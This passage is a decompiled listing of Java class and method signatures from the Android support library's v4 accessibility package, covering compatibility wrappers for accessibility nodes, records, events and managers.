    public void setParent(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    public abstract Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl extends AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl {
    void AccessibilityRecordCompat$AccessibilityRecordJellyBeanImpl();
    public void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl extends AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1 implements AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl$1(AccessibilityManagerCompat$AccessibilityManagerIcsImpl, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoStubImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl();
    public Object obtain();
    public Object obtain(android.view.View);
    public Object obtain(Object);
    public void addAction(Object, int);
    public void addChild(Object, android.view.View);
    public java.util.List findAccessibilityNodeInfosByText(Object, String);
    public int getActions(Object);
    public void getBoundsInParent(Object, android.graphics.Rect);
    public void getBoundsInScreen(Object, android.graphics.Rect);
    public Object getChild(Object, int);
    public int getChildCount(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public CharSequence getPackageName(Object);
    public Object getParent(Object);
    public CharSequence getText(Object);
    public int getWindowId(Object);
    public boolean isCheckable(Object);
    public boolean isChecked(Object);
    public boolean isClickable(Object);
    public boolean isEnabled(Object);
    public boolean isFocusable(Object);
    public boolean isFocused(Object);
    public boolean isLongClickable(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public boolean isSelected(Object);
    public boolean performAction(Object, int);
    public void setBoundsInParent(Object, android.graphics.Rect);
    public void setBoundsInScreen(Object, android.graphics.Rect);
    public void setCheckable(Object, boolean);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setClickable(Object, boolean);
    public void setContentDescription(Object, CharSequence);
    public void setEnabled(Object, boolean);
    public void setFocusable(Object, boolean);
    public void setFocused(Object, boolean);
    public void setLongClickable(Object, boolean);
    public void setPackageName(Object, CharSequence);
    public void setParent(Object, android.view.View);
    public void setPassword(Object, boolean);
    public void setScrollable(Object, boolean);
    public void setSelected(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setText(Object, CharSequence);
    public void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl {
    public abstract Object obtain();
    public abstract Object obtain(android.view.View);
    public abstract Object obtain(Object);
    public abstract Object obtain(android.view.View, int);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract Object findFocus(Object, int);
    public abstract Object focusSearch(Object, int);
    public abstract int getWindowId(Object);
    public abstract int getChildCount(Object);
    public abstract Object getChild(Object, int);
    public abstract void addChild(Object, android.view.View);
    public abstract void addChild(Object, android.view.View, int);
    public abstract int getActions(Object);
    public abstract void addAction(Object, int);
    public abstract boolean performAction(Object, int);
    public abstract boolean performAction(Object, int, android.os.Bundle);
    public abstract void setMovementGranularities(Object, int);
    public abstract int getMovementGranularities(Object);
    public abstract java.util.List findAccessibilityNodeInfosByText(Object, String);
    public abstract Object getParent(Object);
    public abstract void setParent(Object, android.view.View, int);
    public abstract void setParent(Object, android.view.View);
    public abstract void getBoundsInParent(Object, android.graphics.Rect);
    public abstract void setBoundsInParent(Object, android.graphics.Rect);
    public abstract void getBoundsInScreen(Object, android.graphics.Rect);
    public abstract void setBoundsInScreen(Object, android.graphics.Rect);
    public abstract boolean isCheckable(Object);
    public abstract void setCheckable(Object, boolean);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isFocusable(Object);
    public abstract void setFocusable(Object, boolean);
    public abstract boolean isFocused(Object);
    public abstract void setFocused(Object, boolean);
    public abstract boolean isVisibleToUser(Object);
    public abstract void setVisibleToUser(Object, boolean);
    public abstract boolean isAccessibilityFocused(Object);
    public abstract void setAccessibilityFocused(Object, boolean);
    public abstract boolean isSelected(Object);
    public abstract void setSelected(Object, boolean);
    public abstract boolean isClickable(Object);
    public abstract void setClickable(Object, boolean);
    public abstract boolean isLongClickable(Object);
    public abstract void setLongClickable(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract CharSequence getPackageName(Object);
    public abstract void setPackageName(Object, CharSequence);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract CharSequence getText(Object);
    public abstract void setText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeInfoCompat {
    private static final AccessibilityNodeInfoCompat$AccessibilityNodeInfoImpl IMPL;
    private final Object mInfo;
    public static final int ACTION_FOCUS = 1;
    public static final int ACTION_CLEAR_FOCUS = 2;
    public static final int ACTION_SELECT = 4;
    public static final int ACTION_CLEAR_SELECTION = 8;
    public static final int ACTION_CLICK = 16;
    public static final int ACTION_LONG_CLICK = 32;
    public static final int ACTION_ACCESSIBILITY_FOCUS = 64;
    public static final int ACTION_CLEAR_ACCESSIBILITY_FOCUS = 128;
    public static final int ACTION_NEXT_AT_MOVEMENT_GRANULARITY = 256;
    public static final int ACTION_PREVIOUS_AT_MOVEMENT_GRANULARITY = 512;
    public static final int ACTION_NEXT_HTML_ELEMENT = 1024;
    public static final int ACTION_PREVIOUS_HTML_ELEMENT = 2048;
    public static final int ACTION_SCROLL_FORWARD = 4096;
    public static final int ACTION_SCROLL_BACKWARD = 8192;
    public static final String ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT = ACTION_ARGUMENT_MOVEMENT_GRANULARITY_INT;
    public static final String ACTION_ARGUMENT_HTML_ELEMENT_STRING = ACTION_ARGUMENT_HTML_ELEMENT_STRING;
    public static final int FOCUS_INPUT = 1;
    public static final int FOCUS_ACCESSIBILITY = 2;
    public static final int MOVEMENT_GRANULARITY_CHARACTER = 1;
    public static final int MOVEMENT_GRANULARITY_WORD = 2;
    public static final int MOVEMENT_GRANULARITY_LINE = 4;
    public static final int MOVEMENT_GRANULARITY_PARAGRAPH = 8;
    public static final int MOVEMENT_GRANULARITY_PAGE = 16;
    static AccessibilityNodeInfoCompat wrapNonNullInstance(Object);
    public void AccessibilityNodeInfoCompat(Object);
    public Object getInfo();
    public static AccessibilityNodeInfoCompat obtain(android.view.View);
    public static AccessibilityNodeInfoCompat obtain(android.view.View, int);
    public static AccessibilityNodeInfoCompat obtain();
    public static AccessibilityNodeInfoCompat obtain(AccessibilityNodeInfoCompat);
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat findFocus(int);
    public AccessibilityNodeInfoCompat focusSearch(int);
    public int getWindowId();
    public int getChildCount();
    public AccessibilityNodeInfoCompat getChild(int);
    public void addChild(android.view.View);
    public void addChild(android.view.View, int);
    public int getActions();
    public void addAction(int);
    public boolean performAction(int);
    public boolean performAction(int, android.os.Bundle);
    public void setMovementGranularities(int);
    public int getMovementGranularities();
    public java.util.List findAccessibilityNodeInfosByText(String);
    public AccessibilityNodeInfoCompat getParent();
    public void setParent(android.view.View);
    public void setParent(android.view.View, int);
    public void getBoundsInParent(android.graphics.Rect);
    public void setBoundsInParent(android.graphics.Rect);
    public void getBoundsInScreen(android.graphics.Rect);
    public void setBoundsInScreen(android.graphics.Rect);
    public boolean isCheckable();
    public void setCheckable(boolean);
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isFocusable();
    public void setFocusable(boolean);
    public boolean isFocused();
    public void setFocused(boolean);
    public boolean isVisibleToUser();
    public void setVisibleToUser(boolean);
    public boolean isAccessibilityFocused();
    public void setAccessibilityFocused(boolean);
    public boolean isSelected();
    public void setSelected(boolean);
    public boolean isClickable();
    public void setClickable(boolean);
    public boolean isLongClickable();
    public void setLongClickable(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public CharSequence getPackageName();
    public void setPackageName(CharSequence);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public CharSequence getText();
    public void setText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public void recycle();
    public int hashCode();
    public boolean equals(Object);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatJellyBean {
    void AccessibilityNodeInfoCompatJellyBean();
    public static void addChild(Object, android.view.View, int);
    public static void setSource(Object, android.view.View, int);
    public static boolean isVisibleToUser(Object);
    public static void setVisibleToUser(Object, boolean);
    public static boolean performAction(Object, int, android.os.Bundle);
    public static void setMovementGranularities(Object, int);
    public static int getMovementGranularities(Object);
    public static Object obtain(android.view.View, int);
    public static Object findFocus(Object, int);
    public static Object focusSearch(Object, int);
    public static void setParent(Object, android.view.View, int);
    public static boolean isAccessibilityFocused(Object);
    public static void setAccesibilityFocused(Object, boolean);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityNodeProviderCompatJellyBean$1 extends android.view.accessibility.AccessibilityNodeProvider {
    void AccessibilityNodeProviderCompatJellyBean$1(AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge);
    public android.view.accessibility.AccessibilityNodeInfo createAccessibilityNodeInfo(int);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public boolean performAction(int, int, android.os.Bundle);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    public abstract Object createAccessibilityNodeInfo(int);
    public abstract boolean performAction(int, int, android.os.Bundle);
    public abstract java.util.List findAccessibilityNodeInfosByText(String, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsImpl extends AccessibilityRecordCompat$AccessibilityRecordStubImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompatJellyBean.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompatJellyBean {
    void AccessibilityRecordCompatJellyBean();
    public static void setSource(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl extends AccessibilityRecordCompat$AccessibilityRecordIcsImpl {
    void AccessibilityRecordCompat$AccessibilityRecordIcsMr1Impl();
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityEventCompat$AccessibilityEventVersionImpl {
    public abstract int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public abstract void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public abstract Object getRecord(android.view.accessibility.AccessibilityEvent, int);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityRecordCompat$AccessibilityRecordStubImpl implements AccessibilityRecordCompat$AccessibilityRecordImpl {
    void AccessibilityRecordCompat$AccessibilityRecordStubImpl();
    public Object obtain();
    public Object obtain(Object);
    public int getAddedCount(Object);
    public CharSequence getBeforeText(Object);
    public CharSequence getClassName(Object);
    public CharSequence getContentDescription(Object);
    public int getCurrentItemIndex(Object);
    public int getFromIndex(Object);
    public int getItemCount(Object);
    public int getMaxScrollX(Object);
    public int getMaxScrollY(Object);
    public android.os.Parcelable getParcelableData(Object);
    public int getRemovedCount(Object);
    public int getScrollX(Object);
    public int getScrollY(Object);
    public AccessibilityNodeInfoCompat getSource(Object);
    public java.util.List getText(Object);
    public int getToIndex(Object);
    public int getWindowId(Object);
    public boolean isChecked(Object);
    public boolean isEnabled(Object);
    public boolean isFullScreen(Object);
    public boolean isPassword(Object);
    public boolean isScrollable(Object);
    public void recycle(Object);
    public void setAddedCount(Object, int);
    public void setBeforeText(Object, CharSequence);
    public void setChecked(Object, boolean);
    public void setClassName(Object, CharSequence);
    public void setContentDescription(Object, CharSequence);
    public void setCurrentItemIndex(Object, int);
    public void setEnabled(Object, boolean);
    public void setFromIndex(Object, int);
    public void setFullScreen(Object, boolean);
    public void setItemCount(Object, int);
    public void setMaxScrollX(Object, int);
    public void setMaxScrollY(Object, int);
    public void setParcelableData(Object, android.os.Parcelable);
    public void setPassword(Object, boolean);
    public void setRemovedCount(Object, int);
    public void setScrollX(Object, int);
    public void setScrollY(Object, int);
    public void setScrollable(Object, boolean);
    public void setSource(Object, android.view.View);
    public void setSource(Object, android.view.View, int);
    public void setToIndex(Object, int);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompatIcs {
    void AccessibilityManagerCompatIcs();
    public static Object newAccessibilityStateChangeListener(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public static boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, Object);
    public static java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public static java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public static boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityEventCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityEventCompat {
    private static final AccessibilityEventCompat$AccessibilityEventVersionImpl IMPL;
    public static final int TYPE_VIEW_HOVER_ENTER = 128;
    public static final int TYPE_VIEW_HOVER_EXIT = 256;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_START = 512;
    public static final int TYPE_TOUCH_EXPLORATION_GESTURE_END = 1024;
    public static final int TYPE_WINDOW_CONTENT_CHANGED = 2048;
    public static final int TYPE_VIEW_SCROLLED = 4096;
    public static final int TYPE_VIEW_TEXT_SELECTION_CHANGED = 8192;
    public static final int TYPE_ANNOUNCEMENT = 16384;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUSED = 32768;
    public static final int TYPE_VIEW_ACCESSIBILITY_FOCUS_CLEARED = 65536;
    public static final int TYPE_VIEW_TEXT_TRAVERSED_AT_MOVEMENT_GRANULARITY = 131072;
    public static final int TYPE_GESTURE_DETECTION_START = 262144;
    public static final int TYPE_GESTURE_DETECTION_END = 524288;
    public static final int TYPE_TOUCH_INTERACTION_START = 1048576;
    public static final int TYPE_TOUCH_INTERACTION_END = 2097152;
    public static final int TYPES_ALL_MASK = -1;
    private void AccessibilityEventCompat();
    public static int getRecordCount(android.view.accessibility.AccessibilityEvent);
    public static void appendRecord(android.view.accessibility.AccessibilityEvent, AccessibilityRecordCompat);
    public static AccessibilityRecordCompat getRecord(android.view.accessibility.AccessibilityEvent, int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityRecordCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityRecordCompat {
    private static final AccessibilityRecordCompat$AccessibilityRecordImpl IMPL;
    private final Object mRecord;
    public void AccessibilityRecordCompat(Object);
    public Object getImpl();
    public static AccessibilityRecordCompat obtain(AccessibilityRecordCompat);
    public static AccessibilityRecordCompat obtain();
    public void setSource(android.view.View);
    public void setSource(android.view.View, int);
    public AccessibilityNodeInfoCompat getSource();
    public int getWindowId();
    public boolean isChecked();
    public void setChecked(boolean);
    public boolean isEnabled();
    public void setEnabled(boolean);
    public boolean isPassword();
    public void setPassword(boolean);
    public boolean isFullScreen();
    public void setFullScreen(boolean);
    public boolean isScrollable();
    public void setScrollable(boolean);
    public int getItemCount();
    public void setItemCount(int);
    public int getCurrentItemIndex();
    public void setCurrentItemIndex(int);
    public int getFromIndex();
    public void setFromIndex(int);
    public int getToIndex();
    public void setToIndex(int);
    public int getScrollX();
    public void setScrollX(int);
    public int getScrollY();
    public void setScrollY(int);
    public int getMaxScrollX();
    public void setMaxScrollX(int);
    public int getMaxScrollY();
    public void setMaxScrollY(int);
    public int getAddedCount();
    public void setAddedCount(int);
    public int getRemovedCount();
    public void setRemovedCount(int);
    public CharSequence getClassName();
    public void setClassName(CharSequence);
    public java.util.List getText();
    public CharSequence getBeforeText();
    public void setBeforeText(CharSequence);
    public CharSequence getContentDescription();
    public void setContentDescription(CharSequence);
    public android.os.Parcelable getParcelableData();
    public void setParcelableData(android.os.Parcelable);
    public void recycle();
    public int hashCode();
    public boolean equals(Object);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat.class


package android.support.v4.view.accessibility;
public abstract synchronized class AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat {
    final Object mListener;
    public void AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat();
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$1.class


package android.support.v4.view.accessibility;
final synchronized class AccessibilityManagerCompatIcs$1 implements android.view.accessibility.AccessibilityManager$AccessibilityStateChangeListener {
    void AccessibilityManagerCompatIcs$1(AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge);
    public void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompatIcs$AccessibilityStateChangeListenerBridge {
    public abstract void onAccessibilityStateChanged(boolean);
}










android/support/v4/view/accessibility/AccessibilityRecordCompat$AccessibilityRecordImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityRecordCompat$AccessibilityRecordImpl {
    public abstract Object obtain();
    public abstract Object obtain(Object);
    public abstract void setSource(Object, android.view.View);
    public abstract void setSource(Object, android.view.View, int);
    public abstract AccessibilityNodeInfoCompat getSource(Object);
    public abstract int getWindowId(Object);
    public abstract boolean isChecked(Object);
    public abstract void setChecked(Object, boolean);
    public abstract boolean isEnabled(Object);
    public abstract void setEnabled(Object, boolean);
    public abstract boolean isPassword(Object);
    public abstract void setPassword(Object, boolean);
    public abstract boolean isFullScreen(Object);
    public abstract void setFullScreen(Object, boolean);
    public abstract boolean isScrollable(Object);
    public abstract void setScrollable(Object, boolean);
    public abstract int getItemCount(Object);
    public abstract void setItemCount(Object, int);
    public abstract int getCurrentItemIndex(Object);
    public abstract void setCurrentItemIndex(Object, int);
    public abstract int getFromIndex(Object);
    public abstract void setFromIndex(Object, int);
    public abstract int getToIndex(Object);
    public abstract void setToIndex(Object, int);
    public abstract int getScrollX(Object);
    public abstract void setScrollX(Object, int);
    public abstract int getScrollY(Object);
    public abstract void setScrollY(Object, int);
    public abstract int getMaxScrollX(Object);
    public abstract void setMaxScrollX(Object, int);
    public abstract int getMaxScrollY(Object);
    public abstract void setMaxScrollY(Object, int);
    public abstract int getAddedCount(Object);
    public abstract void setAddedCount(Object, int);
    public abstract int getRemovedCount(Object);
    public abstract void setRemovedCount(Object, int);
    public abstract CharSequence getClassName(Object);
    public abstract void setClassName(Object, CharSequence);
    public abstract java.util.List getText(Object);
    public abstract CharSequence getBeforeText(Object);
    public abstract void setBeforeText(Object, CharSequence);
    public abstract CharSequence getContentDescription(Object);
    public abstract void setContentDescription(Object, CharSequence);
    public abstract android.os.Parcelable getParcelableData(Object);
    public abstract void setParcelableData(Object, android.os.Parcelable);
    public abstract void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl implements AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderStubImpl();
    public Object newAccessibilityNodeProviderBridge(AccessibilityNodeProviderCompat);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat.class


package android.support.v4.view.accessibility;
public synchronized class AccessibilityNodeProviderCompat {
    private static final AccessibilityNodeProviderCompat$AccessibilityNodeProviderImpl IMPL;
    private final Object mProvider;
    public void AccessibilityNodeProviderCompat();
    public void AccessibilityNodeProviderCompat(Object);
    public Object getProvider();
    public AccessibilityNodeInfoCompat createAccessibilityNodeInfo(int);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    static void <clinit>();
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerIcsImpl extends AccessibilityManagerCompat$AccessibilityManagerStubImpl {
    void AccessibilityManagerCompat$AccessibilityManagerIcsImpl();
    public Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl extends AccessibilityNodeInfoCompat$AccessibilityNodeInfoIcsImpl {
    void AccessibilityNodeInfoCompat$AccessibilityNodeInfoJellybeanImpl();
    public Object obtain(android.view.View, int);
    public Object findFocus(Object, int);
    public Object focusSearch(Object, int);
    public void addChild(Object, android.view.View, int);
    public void setSource(Object, android.view.View, int);
    public boolean isVisibleToUser(Object);
    public void setVisibleToUser(Object, boolean);
    public boolean isAccessibilityFocused(Object);
    public void setAccessibilityFocused(Object, boolean);
    public boolean performAction(Object, int, android.os.Bundle);
    public void setMovementGranularities(Object, int);
    public int getMovementGranularities(Object);
    public void setParent(Object, android.view.View, int);
}










android/support/v4/view/accessibility/AccessibilityEventCompat$AccessibilityEventIcsImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityEventCompat$AccessibilityEventIcsImpl extends AccessibilityEventCompat$AccessibilityEventStubImpl {
    void AccessibilityEventCompat$AccessibilityEventIcsImpl();
    public void appendRecord(android.view.accessibility.AccessibilityEvent, Object);
    public Object getRecord(android.view.accessibility.AccessibilityEvent, int);
    public int getRecordCount(android.view.accessibility.AccessibilityEvent);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerVersionImpl.class


package android.support.v4.view.accessibility;
abstract interface AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    public abstract Object newAccessiblityStateChangeListener(AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean addAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract boolean removeAccessibilityStateChangeListener(android.view.accessibility.AccessibilityManager, AccessibilityManagerCompat$AccessibilityStateChangeListenerCompat);
    public abstract java.util.List getEnabledAccessibilityServiceList(android.view.accessibility.AccessibilityManager, int);
    public abstract java.util.List getInstalledAccessibilityServiceList(android.view.accessibility.AccessibilityManager);
    public abstract boolean isTouchExplorationEnabled(android.view.accessibility.AccessibilityManager);
}










android/support/v4/view/accessibility/AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1 implements AccessibilityNodeProviderCompatJellyBean$AccessibilityNodeInfoBridge {
    void AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl$1(AccessibilityNodeProviderCompat$AccessibilityNodeProviderJellyBeanImpl, AccessibilityNodeProviderCompat);
    public boolean performAction(int, int, android.os.Bundle);
    public java.util.List findAccessibilityNodeInfosByText(String, int);
    public Object createAccessibilityNodeInfo(int);
}










android/support/v4/view/accessibility/AccessibilityNodeInfoCompatIcs.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityNodeInfoCompatIcs {
    void AccessibilityNodeInfoCompatIcs();
    public static Object obtain();
    public static Object obtain(android.view.View);
    public static Object obtain(Object);
    public static void addAction(Object, int);
    public static void addChild(Object, android.view.View);
    public static java.util.List findAccessibilityNodeInfosByText(Object, String);
    public static int getActions(Object);
    public static void getBoundsInParent(Object, android.graphics.Rect);
    public static void getBoundsInScreen(Object, android.graphics.Rect);
    public static Object getChild(Object, int);
    public static int getChildCount(Object);
    public static CharSequence getClassName(Object);
    public static CharSequence getContentDescription(Object);
    public static CharSequence getPackageName(Object);
    public static Object getParent(Object);
    public static CharSequence getText(Object);
    public static int getWindowId(Object);
    public static boolean isCheckable(Object);
    public static boolean isChecked(Object);
    public static boolean isClickable(Object);
    public static boolean isEnabled(Object);
    public static boolean isFocusable(Object);
    public static boolean isFocused(Object);
    public static boolean isLongClickable(Object);
    public static boolean isPassword(Object);
    public static boolean isScrollable(Object);
    public static boolean isSelected(Object);
    public static boolean performAction(Object, int);
    public static void setBoundsInParent(Object, android.graphics.Rect);
    public static void setBoundsInScreen(Object, android.graphics.Rect);
    public static void setCheckable(Object, boolean);
    public static void setChecked(Object, boolean);
    public static void setClassName(Object, CharSequence);
    public static void setClickable(Object, boolean);
    public static void setContentDescription(Object, CharSequence);
    public static void setEnabled(Object, boolean);
    public static void setFocusable(Object, boolean);
    public static void setFocused(Object, boolean);
    public static void setLongClickable(Object, boolean);
    public static void setPackageName(Object, CharSequence);
    public static void setParent(Object, android.view.View);
    public static void setPassword(Object, boolean);
    public static void setScrollable(Object, boolean);
    public static void setSelected(Object, boolean);
    public static void setSource(Object, android.view.View);
    public static void setText(Object, CharSequence);
    public static void recycle(Object);
}










android/support/v4/view/accessibility/AccessibilityManagerCompat$AccessibilityManagerStubImpl.class


package android.support.v4.view.accessibility;
synchronized class AccessibilityManagerCompat$AccessibilityManagerStubImpl implements AccessibilityManagerCompat$AccessibilityManagerVersionImpl {
    void AccessibilityManagerCompat$AccessibilityManagerStubImpl();
